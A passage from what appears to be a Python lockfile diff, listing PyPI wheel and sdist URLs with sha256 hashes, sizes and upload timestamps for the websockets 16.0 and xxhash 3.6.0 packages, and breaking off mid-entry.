{ url = "https://files.pythonhosted.org/packages/18/29/71729b4671f21e1eaa5d6573031ab810ad2936c8175f03f97f3ff164c802/websockets-16.0-cp312-cp312-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:9b5aca38b67492ef518a8ab76851862488a478602229112c4b0d58d63a7a4d5c", size = 184915, upload-time = "2026-01-10T09:22:51.071Z" }, + { url = "https://files.pythonhosted.org/packages/97/bb/21c36b7dbbafc85d2d480cd65df02a1dc93bf76d97147605a8e27ff9409d/websockets-16.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e0334872c0a37b606418ac52f6ab9cfd17317ac26365f7f65e203e2d0d0d359f", size = 186152, upload-time = "2026-01-10T09:22:52.224Z" }, + { url = "https://files.pythonhosted.org/packages/4a/34/9bf8df0c0cf88fa7bfe36678dc7b02970c9a7d5e065a3099292db87b1be2/websockets-16.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:a0b31e0b424cc6b5a04b8838bbaec1688834b2383256688cf47eb97412531da1", size = 185583, upload-time = "2026-01-10T09:22:53.443Z" }, + { url = "https://files.pythonhosted.org/packages/47/88/4dd516068e1a3d6ab3c7c183288404cd424a9a02d585efbac226cb61ff2d/websockets-16.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:485c49116d0af10ac698623c513c1cc01c9446c058a4e61e3bf6c19dff7335a2", size = 184880, upload-time = "2026-01-10T09:22:55.033Z" }, + { url = "https://files.pythonhosted.org/packages/91/d6/7d4553ad4bf1c0421e1ebd4b18de5d9098383b5caa1d937b63df8d04b565/websockets-16.0-cp312-cp312-win32.whl", hash = "sha256:eaded469f5e5b7294e2bdca0ab06becb6756ea86894a47806456089298813c89", size = 178261, upload-time = "2026-01-10T09:22:56.251Z" }, + { url = "https://files.pythonhosted.org/packages/c3/f0/f3a17365441ed1c27f850a80b2bc680a0fa9505d733fe152fdf5e98c1c0b/websockets-16.0-cp312-cp312-win_amd64.whl", hash = "sha256:5569417dc80977fc8c2d43a86f78e0a5a22fee17565d78621b6bb264a115d4ea", size = 178693, upload-time = "2026-01-10T09:22:57.478Z" }, + { url = "https://files.pythonhosted.org/packages/cc/9c/baa8456050d1c1b08dd0ec7346026668cbc6f145ab4e314d707bb845bf0d/websockets-16.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:878b336ac47938b474c8f982ac2f7266a540adc3fa4ad74ae96fea9823a02cc9", size = 177364, upload-time = "2026-01-10T09:22:59.333Z" }, + { url = "https://files.pythonhosted.org/packages/7e/0c/8811fc53e9bcff68fe7de2bcbe75116a8d959ac699a3200f4847a8925210/websockets-16.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:52a0fec0e6c8d9a784c2c78276a48a2bdf099e4ccc2a4cad53b27718dbfd0230", size = 175039, upload-time = "2026-01-10T09:23:01.171Z" }, + { url = "https://files.pythonhosted.org/packages/aa/82/39a5f910cb99ec0b59e482971238c845af9220d3ab9fa76dd9162cda9d62/websockets-16.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:e6578ed5b6981005df1860a56e3617f14a6c307e6a71b4fff8c48fdc50f3ed2c", size = 175323, upload-time = "2026-01-10T09:23:02.341Z" }, + { url = "https://files.pythonhosted.org/packages/bd/28/0a25ee5342eb5d5f297d992a77e56892ecb65e7854c7898fb7d35e9b33bd/websockets-16.0-cp313-cp313-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:95724e638f0f9c350bb1c2b0a7ad0e83d9cc0c9259f3ea94e40d7b02a2179ae5", size = 184975, upload-time = "2026-01-10T09:23:03.756Z" }, + { url = "https://files.pythonhosted.org/packages/f9/66/27ea52741752f5107c2e41fda05e8395a682a1e11c4e592a809a90c6a506/websockets-16.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c0204dc62a89dc9d50d682412c10b3542d748260d743500a85c13cd1ee4bde82", size = 186203, upload-time = "2026-01-10T09:23:05.01Z" }, + { url = "https://files.pythonhosted.org/packages/37/e5/8e32857371406a757816a2b471939d51c463509be73fa538216ea52b792a/websockets-16.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:52ac480f44d32970d66763115edea932f1c5b1312de36df06d6b219f6741eed8", size = 185653, upload-time = "2026-01-10T09:23:06.301Z" }, + { url = "https://files.pythonhosted.org/packages/9b/67/f926bac29882894669368dc73f4da900fcdf47955d0a0185d60103df5737/websockets-16.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:6e5a82b677f8f6f59e8dfc34ec06ca6b5b48bc4fcda346acd093694cc2c24d8f", size = 184920, upload-time = "2026-01-10T09:23:07.492Z" }, + { url = "https://files.pythonhosted.org/packages/3c/a1/3d6ccdcd125b0a42a311bcd15a7f705d688f73b2a22d8cf1c0875d35d34a/websockets-16.0-cp313-cp313-win32.whl", hash = "sha256:abf050a199613f64c886ea10f38b47770a65154dc37181bfaff70c160f45315a", size = 178255, upload-time = "2026-01-10T09:23:09.245Z" }, + { url = "https://files.pythonhosted.org/packages/6b/ae/90366304d7c2ce80f9b826096a9e9048b4bb760e44d3b873bb272cba696b/websockets-16.0-cp313-cp313-win_amd64.whl", hash = "sha256:3425ac5cf448801335d6fdc7ae1eb22072055417a96cc6b31b3861f455fbc156", size = 178689, upload-time = "2026-01-10T09:23:10.483Z" }, + { url = "https://files.pythonhosted.org/packages/f3/1d/e88022630271f5bd349ed82417136281931e558d628dd52c4d8621b4a0b2/websockets-16.0-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:8cc451a50f2aee53042ac52d2d053d08bf89bcb31ae799cb4487587661c038a0", size = 177406, upload-time = "2026-01-10T09:23:12.178Z" }, + { url = "https://files.pythonhosted.org/packages/f2/78/e63be1bf0724eeb4616efb1ae1c9044f7c3953b7957799abb5915bffd38e/websockets-16.0-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:daa3b6ff70a9241cf6c7fc9e949d41232d9d7d26fd3522b1ad2b4d62487e9904", size = 175085, upload-time = "2026-01-10T09:23:13.511Z" }, + { url = "https://files.pythonhosted.org/packages/bb/f4/d3c9220d818ee955ae390cf319a7c7a467beceb24f05ee7aaaa2414345ba/websockets-16.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:fd3cb4adb94a2a6e2b7c0d8d05cb94e6f1c81a0cf9dc2694fb65c7e8d94c42e4", size = 175328, upload-time = "2026-01-10T09:23:14.727Z" }, + { url = "https://files.pythonhosted.org/packages/63/bc/d3e208028de777087e6fb2b122051a6ff7bbcca0d6df9d9c2bf1dd869ae9/websockets-16.0-cp314-cp314-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:781caf5e8eee67f663126490c2f96f40906594cb86b408a703630f95550a8c3e", size = 185044, upload-time = "2026-01-10T09:23:15.939Z" }, + { url = "https://files.pythonhosted.org/packages/ad/6e/9a0927ac24bd33a0a9af834d89e0abc7cfd8e13bed17a86407a66773cc0e/websockets-16.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:caab51a72c51973ca21fa8a18bd8165e1a0183f1ac7066a182ff27107b71e1a4", size = 186279, upload-time = "2026-01-10T09:23:17.148Z" }, + { url = "https://files.pythonhosted.org/packages/b9/ca/bf1c68440d7a868180e11be653c85959502efd3a709323230314fda6e0b3/websockets-16.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:19c4dc84098e523fd63711e563077d39e90ec6702aff4b5d9e344a60cb3c0cb1", size = 185711, upload-time = "2026-01-10T09:23:18.372Z" }, + { url = "https://files.pythonhosted.org/packages/c4/f8/fdc34643a989561f217bb477cbc47a3a07212cbda91c0e4389c43c296ebf/websockets-16.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:a5e18a238a2b2249c9a9235466b90e96ae4795672598a58772dd806edc7ac6d3", size = 184982, upload-time = "2026-01-10T09:23:19.652Z" }, + { url = "https://files.pythonhosted.org/packages/dd/d1/574fa27e233764dbac9c52730d63fcf2823b16f0856b3329fc6268d6ae4f/websockets-16.0-cp314-cp314-win32.whl", hash = "sha256:a069d734c4a043182729edd3e9f247c3b2a4035415a9172fd0f1b71658a320a8", size = 177915, upload-time = "2026-01-10T09:23:21.458Z" }, + { url = "https://files.pythonhosted.org/packages/8a/f1/ae6b937bf3126b5134ce1f482365fde31a357c784ac51852978768b5eff4/websockets-16.0-cp314-cp314-win_amd64.whl", hash = "sha256:c0ee0e63f23914732c6d7e0cce24915c48f3f1512ec1d079ed01fc629dab269d", size = 178381, upload-time = "2026-01-10T09:23:22.715Z" }, + { url = "https://files.pythonhosted.org/packages/06/9b/f791d1db48403e1f0a27577a6beb37afae94254a8c6f08be4a23e4930bc0/websockets-16.0-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:a35539cacc3febb22b8f4d4a99cc79b104226a756aa7400adc722e83b0d03244", size = 177737, upload-time = "2026-01-10T09:23:24.523Z" }, + { url = "https://files.pythonhosted.org/packages/bd/40/53ad02341fa33b3ce489023f635367a4ac98b73570102ad2cdd770dacc9a/websockets-16.0-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:b784ca5de850f4ce93ec85d3269d24d4c82f22b7212023c974c401d4980ebc5e", size = 175268, upload-time = "2026-01-10T09:23:25.781Z" }, + { url = "https://files.pythonhosted.org/packages/74/9b/6158d4e459b984f949dcbbb0c5d270154c7618e11c01029b9bbd1bb4c4f9/websockets-16.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:569d01a4e7fba956c5ae4fc988f0d4e187900f5497ce46339c996dbf24f17641", size = 175486, upload-time = "2026-01-10T09:23:27.033Z" }, + { url = "https://files.pythonhosted.org/packages/e5/2d/7583b30208b639c8090206f95073646c2c9ffd66f44df967981a64f849ad/websockets-16.0-cp314-cp314t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:50f23cdd8343b984957e4077839841146f67a3d31ab0d00e6b824e74c5b2f6e8", size = 185331, upload-time = "2026-01-10T09:23:28.259Z" }, + { url = "https://files.pythonhosted.org/packages/45/b0/cce3784eb519b7b5ad680d14b9673a31ab8dcb7aad8b64d81709d2430aa8/websockets-16.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:152284a83a00c59b759697b7f9e9cddf4e3c7861dd0d964b472b70f78f89e80e", size = 186501, upload-time = "2026-01-10T09:23:29.449Z" }, + { url = "https://files.pythonhosted.org/packages/19/60/b8ebe4c7e89fb5f6cdf080623c9d92789a53636950f7abacfc33fe2b3135/websockets-16.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:bc59589ab64b0022385f429b94697348a6a234e8ce22544e3681b2e9331b5944", size = 186062, upload-time = "2026-01-10T09:23:31.368Z" }, + { url = "https://files.pythonhosted.org/packages/88/a8/a080593f89b0138b6cba1b28f8df5673b5506f72879322288b031337c0b8/websockets-16.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:32da954ffa2814258030e5a57bc73a3635463238e797c7375dc8091327434206", size = 185356, upload-time = "2026-01-10T09:23:32.627Z" }, + { url = "https://files.pythonhosted.org/packages/c2/b6/b9afed2afadddaf5ebb2afa801abf4b0868f42f8539bfe4b071b5266c9fe/websockets-16.0-cp314-cp314t-win32.whl", hash = "sha256:5a4b4cc550cb665dd8a47f868c8d04c8230f857363ad3c9caf7a0c3bf8c61ca6", size = 178085, upload-time = "2026-01-10T09:23:33.816Z" }, + { url = "https://files.pythonhosted.org/packages/9f/3e/28135a24e384493fa804216b79a6a6759a38cc4ff59118787b9fb693df93/websockets-16.0-cp314-cp314t-win_amd64.whl", hash = "sha256:b14dc141ed6d2dde437cddb216004bcac6a1df0935d79656387bd41632ba0bbd", size = 178531, upload-time = "2026-01-10T09:23:35.016Z" }, + { url = "https://files.pythonhosted.org/packages/72/07/c98a68571dcf256e74f1f816b8cc5eae6eb2d3d5cfa44d37f801619d9166/websockets-16.0-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:349f83cd6c9a415428ee1005cadb5c2c56f4389bc06a9af16103c3bc3dcc8b7d", size = 174947, upload-time = "2026-01-10T09:23:36.166Z" }, + { url = "https://files.pythonhosted.org/packages/7e/52/93e166a81e0305b33fe416338be92ae863563fe7bce446b0f687b9df5aea/websockets-16.0-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:4a1aba3340a8dca8db6eb5a7986157f52eb9e436b74813764241981ca4888f03", size = 175260, upload-time = "2026-01-10T09:23:37.409Z" }, + { url = "https://files.pythonhosted.org/packages/56/0c/2dbf513bafd24889d33de2ff0368190a0e69f37bcfa19009ef819fe4d507/websockets-16.0-pp311-pypy311_pp73-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:f4a32d1bd841d4bcbffdcb3d2ce50c09c3909fbead375ab28d0181af89fd04da", size = 176071, upload-time = "2026-01-10T09:23:39.158Z" }, + { url = "https://files.pythonhosted.org/packages/a5/8f/aea9c71cc92bf9b6cc0f7f70df8f0b420636b6c96ef4feee1e16f80f75dd/websockets-16.0-pp311-pypy311_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0298d07ee155e2e9fda5be8a9042200dd2e3bb0b8a38482156576f863a9d457c", size = 176968, upload-time = "2026-01-10T09:23:41.031Z" }, + { url = "https://files.pythonhosted.org/packages/9a/3f/f70e03f40ffc9a30d817eef7da1be72ee4956ba8d7255c399a01b135902a/websockets-16.0-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:a653aea902e0324b52f1613332ddf50b00c06fdaf7e92624fbf8c77c78fa5767", size = 178735, upload-time = "2026-01-10T09:23:42.259Z" }, + { url = "https://files.pythonhosted.org/packages/6f/28/258ebab549c2bf3e64d2b0217b973467394a9cea8c42f70418ca2c5d0d2e/websockets-16.0-py3-none-any.whl", hash = "sha256:1637db62fad1dc833276dded54215f2c7fa46912301a24bd94d45d46a011ceec", size = 171598, upload-time = "2026-01-10T09:23:45.395Z" }, +] + +[[package]] +name = "xxhash" +version = "3.6.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/02/84/30869e01909fb37a6cc7e18688ee8bf1e42d57e7e0777636bd47524c43c7/xxhash-3.6.0.tar.gz", hash = "sha256:f0162a78b13a0d7617b2845b90c763339d1f1d82bb04a4b07f4ab535cc5e05d6", size = 85160, upload-time = "2025-10-02T14:37:08.097Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/34/ee/f9f1d656ad168681bb0f6b092372c1e533c4416b8069b1896a175c46e484/xxhash-3.6.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:87ff03d7e35c61435976554477a7f4cd1704c3596a89a8300d5ce7fc83874a71", size = 32845, upload-time = "2025-10-02T14:33:51.573Z" }, + { url = "https://files.pythonhosted.org/packages/a3/b1/93508d9460b292c74a09b83d16750c52a0ead89c51eea9951cb97a60d959/xxhash-3.6.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:f572dfd3d0e2eb1a57511831cf6341242f5a9f8298a45862d085f5b93394a27d", size = 30807, upload-time = "2025-10-02T14:33:52.964Z" }, + { url = "https://files.pythonhosted.org/packages/07/55/28c93a3662f2d200c70704efe74aab9640e824f8ce330d8d3943bf7c9b3c/xxhash-3.6.0-cp310-cp310-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:89952ea539566b9fed2bbd94e589672794b4286f342254fad28b149f9615fef8", size = 193786, upload-time = "2025-10-02T14:33:54.272Z" }, + { url = "https://files.pythonhosted.org/packages/c1/96/fec0be9bb4b8f5d9c57d76380a366f31a1781fb802f76fc7cda6c84893c7/xxhash-3.6.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:48e6f2ffb07a50b52465a1032c3cf1f4a5683f944acaca8a134a2f23674c2058", size = 212830, upload-time = "2025-10-02T14:33:55.706Z" }, + { url = "https://files.pythonhosted.org/packages/c4/a0/c706845ba77b9611f81fd2e93fad9859346b026e8445e76f8c6fd057cc6d/xxhash-3.6.0-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:b5b848ad6c16d308c3ac7ad4ba6bede80ed5df2ba8ed382f8932df63158dd4b2", size = 211606, upload-time = "2025-10-02T14:33:57.133Z" }, + { url = "https://files.pythonhosted.org/packages/67/1e/164126a2999e5045f04a69257eea946c0dc3e86541b400d4385d646b53d7/xxhash-3.6.0-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:a034590a727b44dd8ac5914236a7b8504144447a9682586c3327e935f33ec8cc", size = 444872, upload-time = "2025-10-02T14:33:58.446Z" }, + { url = "https://files.pythonhosted.org/packages/2d/4b/55ab404c56cd70a2cf5ecfe484838865d0fea5627365c6c8ca156bd09c8f/xxhash-3.6.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8a8f1972e75ebdd161d7896743122834fe87378160c20e97f8b09166213bf8cc", size = 193217, upload-time = "2025-10-02T14:33:59.724Z" }, + { url = "https://files.pythonhosted.org/packages/45/e6/52abf06bac316db33aa269091ae7311bd53cfc6f4b120ae77bac1b348091/xxhash-3.6.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:ee34327b187f002a596d7b167ebc59a1b729e963ce645964bbc050d2f1b73d07", size = 210139, upload-time = "2025-10-02T14:34:02.041Z" }, + { url = "https://files.pythonhosted.org/packages/34/37/db94d490b8691236d356bc249c08819cbcef9273a1a30acf1254ff9ce157/xxhash-3.6.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:339f518c3c7a850dd033ab416ea25a692759dc7478a71131fe8869010d2b75e4", size = 197669, upload-time = "2025-10-02T14:34:03.664Z" }, + { url = "https://files.pythonhosted.org/packages/b7/36/c4f219ef4a17a4f7a64ed3569bc2b5a9c8311abdb22249ac96093625b1a4/xxhash-3.6.0-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:bf48889c9630542d4709192578aebbd836177c9f7a4a2778a7d6340107c65f06", size = 210018, upload-time = "2025-10-02T14:34:05.325Z" }, + { url = "https://files.pythonhosted.org/packages/fd/06/bfac889a374fc2fc439a69223d1750eed2e18a7db8514737ab630534fa08/xxhash-3.6.0-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:5576b002a56207f640636056b4160a378fe36a58db73ae5c27a7ec8db35f71d4", size = 413058, upload-time = "2025-10-02T14:34:06.925Z" }, + { url = "https://files.pythonhosted.org/packages/c9/d1/555d8447e0dd32ad0930a249a522bb2e289f0d08b6b16204cfa42c1f5a0c/xxhash-3.6.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:af1f3278bd02814d6dedc5dec397993b549d6f16c19379721e5a1d31e132c49b", size = 190628, upload-time = "2025-10-02T14:34:08.669Z" }, + { url = "https://files.pythonhosted.org/packages/d1/15/8751330b5186cedc4ed4b597989882ea05e0408b53fa47bcb46a6125bfc6/xxhash-3.6.0-cp310-cp310-win32.whl", hash = "sha256:aed058764db109dc9052720da65fafe84873b05eb8b07e5e653597951af57c3b", size = 30577, upload-time = "2025-10-02T14:34:10.234Z" }, + { url = "https://files.pythonhosted.org/packages/bb/cc/53f87e8b5871a6eb2ff7e89c48c66093bda2be52315a8161ddc54ea550c4/xxhash-3.6.0-cp310-cp310-win_amd64.whl", hash = "sha256:e82da5670f2d0d98950317f82a0e4a0197150ff19a6df2ba40399c2a3b9ae5fb", size = 31487, upload-time = "2025-10-02T14:34:11.618Z" }, + { url = "https://files.pythonhosted.org/packages/9f/00/60f9ea3bb697667a14314d7269956f58bf56bb73864f8f8d52a3c2535e9a/xxhash-3.6.0-cp310-cp310-win_arm64.whl", hash = "sha256:4a082ffff8c6ac07707fb6b671caf7c6e020c75226c561830b73d862060f281d", size = 27863, upload-time = "2025-10-02T14:34:12.619Z" }, + { url = "https://files.pythonhosted.org/packages/17/d4/cc2f0400e9154df4b9964249da78ebd72f318e35ccc425e9f403c392f22a/xxhash-3.6.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:b47bbd8cf2d72797f3c2772eaaac0ded3d3af26481a26d7d7d41dc2d3c46b04a", size = 32844, upload-time = "2025-10-02T14:34:14.037Z" }, + { url = "https://files.pythonhosted.org/packages/5e/ec/1cc11cd13e26ea8bc3cb4af4eaadd8d46d5014aebb67be3f71fb0b68802a/xxhash-3.6.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:2b6821e94346f96db75abaa6e255706fb06ebd530899ed76d32cd99f20dc52fa", size = 30809, upload-time = "2025-10-02T14:34:15.484Z" }, + { url = "https://files.pythonhosted.org/packages/04/5f/19fe357ea348d98ca22f456f75a30ac0916b51c753e1f8b2e0e6fb884cce/xxhash-3.6.0-cp311-cp311-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:d0a9751f71a1a65ce3584e9cae4467651c7e70c9d31017fa57574583a4540248", size = 194665, upload-time = "2025-10-02T14:34:16.541Z" }, + { url = "https://files.pythonhosted.org/packages/90/3b/d1f1a8f5442a5fd8beedae110c5af7604dc37349a8e16519c13c19a9a2de/xxhash-3.6.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8b29ee68625ab37b04c0b40c3fafdf24d2f75ccd778333cfb698f65f6c463f62", size = 213550, upload-time = "2025-10-02T14:34:17.878Z" }, + { url = "https://files.pythonhosted.org/packages/c4/ef/3a9b05eb527457d5db13a135a2ae1a26c80fecd624d20f3e8dcc4cb170f3/xxhash-3.6.0-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:6812c25fe0d6c36a46ccb002f40f27ac903bf18af9f6dd8f9669cb4d176ab18f", size = 212384, upload-time = "2025-10-02T14:34:19.182Z" }, + { url = "https://files.pythonhosted.org/packages/0f/18/ccc194ee698c6c623acbf0f8c2969811a8a4b6185af5e824cd27b9e4fd3e/xxhash-3.6.0-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:4ccbff013972390b51a18ef1255ef5ac125c92dc9143b2d1909f59abc765540e", size = 445749, upload-time = "2025-10-02T14:34:20.659Z" }, + { url = "https://files.pythonhosted.org/packages/a5/86/cf2c0321dc3940a7aa73076f4fd677a0fb3e405cb297ead7d864fd90847e/xxhash-3.6.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:297b7fbf86c82c550e12e8fb71968b3f033d27b874276ba3624ea868c11165a8", size = 193880, upload-time = "2025-10-02T14:34:22.431Z" }, + { url = "https://files.pythonhosted.org/packages/82/fb/96213c8560e6f948a1ecc9a7613f8032b19ee45f747f4fca4eb31bb6d6ed/xxhash-3.6.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:dea26ae1eb293db089798d3973a5fc928a18fdd97cc8801226fae705b02b14b0", size = 210912, upload-time = "2025-10-02T14:34:23.937Z" }, + { url = "https://files.pythonhosted.org/packages/40/aa/4395e669b0606a096d6788f40dbdf2b819d6773aa290c19e6e83cbfc312f/xxhash-3.6.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:7a0b169aafb98f4284f73635a8e93f0735f9cbde17bd5ec332480484241aaa77", size = 198654, upload-time = "2025-10-02T14:34:25.644Z" }, + { url = "https://files.pythonhosted.org/packages/67/74/b044fcd6b3d89e9b1b665924d85d3f400636c23590226feb1eb09e1176ce/xxhash-3.6.0-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:08d45aef063a4531b785cd72de4887766d01dc8f362a515693df349fdb825e0c", size = 210867, upload-time = "2025-10-02T14:34:27.203Z" }, + { url = "https://files.pythonhosted.org/packages/bc/fd/3ce73bf753b08cb19daee1eb14aa0d7fe331f8da9c02dd95316ddfe5275e/xxhash-3.6.0-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:929142361a48ee07f09121fe9e96a84950e8d4df3bb298ca5d88061969f34d7b", size = 414012, upload-time = "2025-10-02T14:34:28.409Z" }, + { url = "https://files.pythonhosted.org/packages/ba/b3/5a4241309217c5c876f156b10778f3ab3af7ba7e3259e6d5f5c7d0129eb2/xxhash-3.6.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:51312c768403d8540487dbbfb557454cfc55589bbde6424456951f7fcd4facb3", size = 191409, upload-time = "2025-10-02T14:34:29.696Z" }, + { url = "https://files.pythonhosted.org/packages/c0/01/99bfbc15fb9abb9a72b088c1d95219fc4782b7d01fc835bd5744d66dd0b8/xxhash-3.6.0-cp311-cp311-win32.whl", hash = "sha256:d1927a69feddc24c987b337ce81ac15c4720955b667fe9b588e02254b80446fd", size = 30574, upload-time = "2025-10-02T14:34:31.028Z" }, + { url = "https://files.pythonhosted.org/packages/65/79/9d24d7f53819fe301b231044ea362ce64e86c74f6e8c8e51320de248b3e5/xxhash-3.6.0-cp311-cp311-win_amd64.whl", hash = "sha256:26734cdc2d4ffe449b41d186bbeac416f704a482ed835d375a5c0cb02bc63fef", size = 31481, upload-time = "2025-10-02T14:34:32.062Z" }, + { url = "https://files.pythonhosted.org/packages/30/4e/15cd0e3e8772071344eab2961ce83f6e485111fed8beb491a3f1ce100270/xxhash-3.6.0-cp311-cp311-win_arm64.whl", hash = "sha256:d72f67ef8bf36e05f5b6c65e8524f265bd61071471cd4cf1d36743ebeeeb06b7", size = 27861, upload-time = "2025-10-02T14:34:33.555Z" }, + { url = "https://files.pythonhosted.org/packages/9a/07/d9412f3d7d462347e4511181dea65e47e0d0e16e26fbee2ea86a2aefb657/xxhash-3.6.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:01362c4331775398e7bb34e3ab403bc9ee9f7c497bc7dee6272114055277dd3c", size = 32744, upload-time = "2025-10-02T14:34:34.622Z" }, + { url = "https://files.pythonhosted.org/packages/79/35/0429ee11d035fc33abe32dca1b2b69e8c18d236547b9a9b72c1929189b9a/xxhash-3.6.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:b7b2df81a23f8cb99656378e72501b2cb41b1827c0f5a86f87d6b06b69f9f204", size = 30816, upload-time = "2025-10-02T14:34:36.043Z" }, + { url = "https://files.pythonhosted.org/packages/b7/f2/57eb99aa0f7d98624c0932c5b9a170e1806406cdbcdb510546634a1359e0/xxhash-3.6.0-cp312-cp312-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:dc94790144e66b14f67b10ac8ed75b39ca47536bf8800eb7c24b50271ea0c490", size = 194035, upload-time = "2025-10-02T14:34:37.354Z" }, + { url = "https://files.pythonhosted.org/packages/4c/ed/6224ba353690d73af7a3f1c7cdb1fc1b002e38f783cb991ae338e1eb3d79/xxhash-3.6.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:93f107c673bccf0d592cdba077dedaf52fe7f42dcd7676eba1f6d6f0c3efffd2", size = 212914, upload-time = "2025-10-02T14:34:38.6Z" }, + { url = "https://files.pythonhosted.org/packages/38/86/fb6b6130d8dd6b8942cc17ab4d90e223653a89aa32ad2776f8af7064ed13/xxhash-3.6.0-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:2aa5ee3444c25b69813663c9f8067dcfaa2e126dc55e8dddf40f4d1c25d7effa", size = 212163, upload-time = "2025-10-02T14:34:39.872Z" }, + { url = "https://files.pythonhosted.org/packages/ee/dc/e84875682b0593e884ad73b2d40767b5790d417bde603cceb6878901d647/xxhash-3.6.0-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:f7f99123f0e1194fa59cc69ad46dbae2e07becec5df50a0509a808f90a0f03f0", size = 445411, upload-time = "2025-10-02T14:34:41.569Z" }, + { url = "https://files.pythonhosted.org/packages/11/4f/426f91b96701ec2f37bb2b8cec664eff4f658a11f3fa9d94f0a887ea6d2b/xxhash-3.6.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:49e03e6fe2cac4a1bc64952dd250cf0dbc5ef4ebb7b8d96bce82e2de163c82a2", size = 193883, upload-time = "2025-10-02T14:34:43.249Z" }, + { url = "https://files.pythonhosted.org/packages/53/5a/ddbb83eee8e28b778eacfc5a85c969673e4023cdeedcfcef61f36731610b/xxhash-3.6.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:bd17fede52a17a4f9a7bc4472a5867cb0b160deeb431795c0e4abe158bc784e9", size = 210392, upload-time = "2025-10-02T14:34:45.042Z" }, + { url = "https://files.pythonhosted.org/packages/1e/c2/ff69efd07c8c074ccdf0a4f36fcdd3d27363665bcdf4ba399abebe643465/xxhash-3.6.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:6fb5f5476bef678f69db04f2bd1efbed3030d2aba305b0fc1773645f187d6a4e", size = 197898, upload-time = "2025-10-02T14:34:46.302Z" }, + { url = 